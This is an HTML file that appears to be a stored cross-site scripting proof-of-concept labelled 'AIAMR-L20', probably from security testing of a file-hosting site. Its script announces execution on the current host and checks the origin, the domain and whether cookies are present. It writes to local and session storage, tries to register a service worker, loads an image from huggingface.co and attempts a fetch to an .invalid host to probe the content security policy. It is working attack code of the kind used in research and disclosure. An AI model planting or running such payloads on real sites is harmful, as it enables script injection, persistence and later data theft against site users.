| <!doctype html><html><head><title>AIAMR-L20</title></head><body style="background:#fff"> |
| <h1 id="o" style="font:28px monospace;color:#900">AIAMR-L20 payload loaded (script NOT run)</h1> |
| <pre id="r" style="font:16px monospace;color:#036"></pre> |
| <script> |
| var lines=[]; |
| function add(k,v){lines.push(k+" = "+v);document.getElementById('r').textContent=lines.join("\n");} |
| document.getElementById('o').textContent="AIAMR-L20 STORED XSS EXECUTED ON "+location.hostname; |
| document.title="AIAMR-L20 EXEC "+location.hostname; |
| add("location.origin",location.origin); |
| add("document.domain",document.domain); |
| add("document.cookie",document.cookie===""?"(empty)":"(NON-EMPTY, len "+document.cookie.length+")"); |
| try{localStorage.setItem("aiamr_l20","v1");add("localStorage","WRITABLE readback="+localStorage.getItem("aiamr_l20")+" keys="+localStorage.length);}catch(e){add("localStorage","BLOCKED "+e.name);} |
| try{sessionStorage.setItem("aiamr_l20","v1");add("sessionStorage","WRITABLE");}catch(e){add("sessionStorage","BLOCKED "+e.name);} |
| add("indexedDB",(typeof indexedDB!=="undefined"&&indexedDB)?"present":"absent"); |
| add("serviceWorker",("serviceWorker" in navigator)?"API present":"absent"); |
| add("caches",(typeof caches!=="undefined")?"present":"absent"); |
| try{navigator.serviceWorker.register("sw.js").then(function(reg){add("swRegister","OK scope="+reg.scope);},function(e){add("swRegister","FAIL "+(e.name||"")+" "+String(e.message).slice(0,80));});}catch(e){add("swRegister","THROW "+e.name);} |
| var im=new Image();im.onload=function(){add("img huggingface.co","LOADED (no img-src CSP)");};im.onerror=function(){add("img huggingface.co","error");};im.src="https://huggingface.co/favicon.ico?aiamr=l20"; |
| fetch("https://aiamr-l20.invalid/x").then(function(){add("fetch .invalid","RESOLVED");},function(e){add("fetch .invalid","network error (request was ATTEMPTED, no connect-src block)");}); |
| </script></body></html> |
|
|
